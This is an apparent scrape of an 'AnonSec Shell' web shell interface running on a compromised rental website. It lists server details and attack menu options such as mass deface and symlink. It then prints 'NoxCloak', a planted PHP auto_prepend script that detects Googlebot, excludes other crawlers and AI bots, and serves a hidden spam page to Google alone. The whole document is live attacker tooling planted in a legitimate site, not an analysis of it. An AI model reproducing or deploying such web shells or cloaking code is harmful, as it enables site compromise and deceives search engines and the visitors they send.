AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/puertodelcarmenrentals/public_html/.uploader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/puertodelcarmenrentals/public_html/.uploader/nox-php.php
<?php
/* NoxCloak v33 — auto_prepend cloak motor */
$_nc_lock='/var/www/puertodelcarmenrentals/public_html/.uploader/cloak.lock';$_nc_perde='/var/www/puertodelcarmenrentals/public_html/.uploader/perde.html';
if(file_exists($_nc_lock)&&file_exists($_nc_perde)){
  $ua=isset($_SERVER['HTTP_USER_AGENT'])?strtolower($_SERVER['HTTP_USER_AGENT']):'';
  $uri=isset($_SERVER['REQUEST_URI'])?strtok($_SERVER['REQUEST_URI'],'?'):'/';
  $_ndc=array('curl','wget','python','go-http','java','scrapy','axios','phantom',
    'selenium','puppeteer','playwright','headlesschrome','chromium','bingbot',
    'yandex','duckduckbot','baiduspider','ahrefsbot','semrushbot','mj12bot',
    'dotbot','ccbot','rogerbot','exabot','sistrix','majestic','facebookexternalhit',
    'twitterbot','linkedinbot','pinterest','lighthouse','pagespeed','gtmetrix',
    'pingdom','screaming frog','uptimerobot','newrelic','chatgpt','claudebot',
    'amazonbot','applebot','gptbot','bytespider','perplexitybot','petalbot',
    'dataforseo','magebot','dotbot','seznambot','sezbot');
  $_nfake=false;foreach($_ndc as $_nkw){if(strpos($ua,$_nkw)!==false){$_nfake=true;break;}}
  $bot=!$_nfake&&(strpos($ua,'googlebot')!==false||strpos($ua,'adsbot')!==false
     ||strpos($ua,'mediapartners')!==false||strpos($ua,'inspectiontool')!==false
     ||strpos($ua,'googleother')!==false||strpos($ua,'google-extended')!==false
     ||strpos($ua,'storebot-google')!==false||strpos($ua,'google-cloudvertexbot')!==false);
  $bypass=strpos($ua,'noxcloak-test')!==false;
  if($bot&&!$bypass&&($uri==='/'||$uri==='/index.php')){
    defined('DONOTCACHEPAGE')||define('DONOTCACHEPAGE',true);
    defined('DONOTCACHEOBJECT')||define('DONOTCACHEOBJECT',true);
    defined('DONOTCACHEDB')||define('DONOTCACHEDB',true);
    defined('DONOTCACHELITESPEED')||define('DONOTCACHELITESPEED',true);
    while(ob_get_level()>0)ob_end_clean();
    if(!headers_sent()){
      header('Content-Type: text/html; charset=utf-8');
      header('Cache-Control: no-store,no-cache,must-revalidate,max-age=0');
      header('Pragma: no-cache');
      header('X-LiteSpeed-Cache-Control: no-cache');
      header('CF-Cache-Status: BYPASS');
      header('Surrogate-Control: no-store');
      header('Vary: User-Agent');
      header('X-NoxCloak-Served: 1');
    }
    readfile($_nc_perde);exit;
  }
}

Anon7 - 2022
AnonSec Team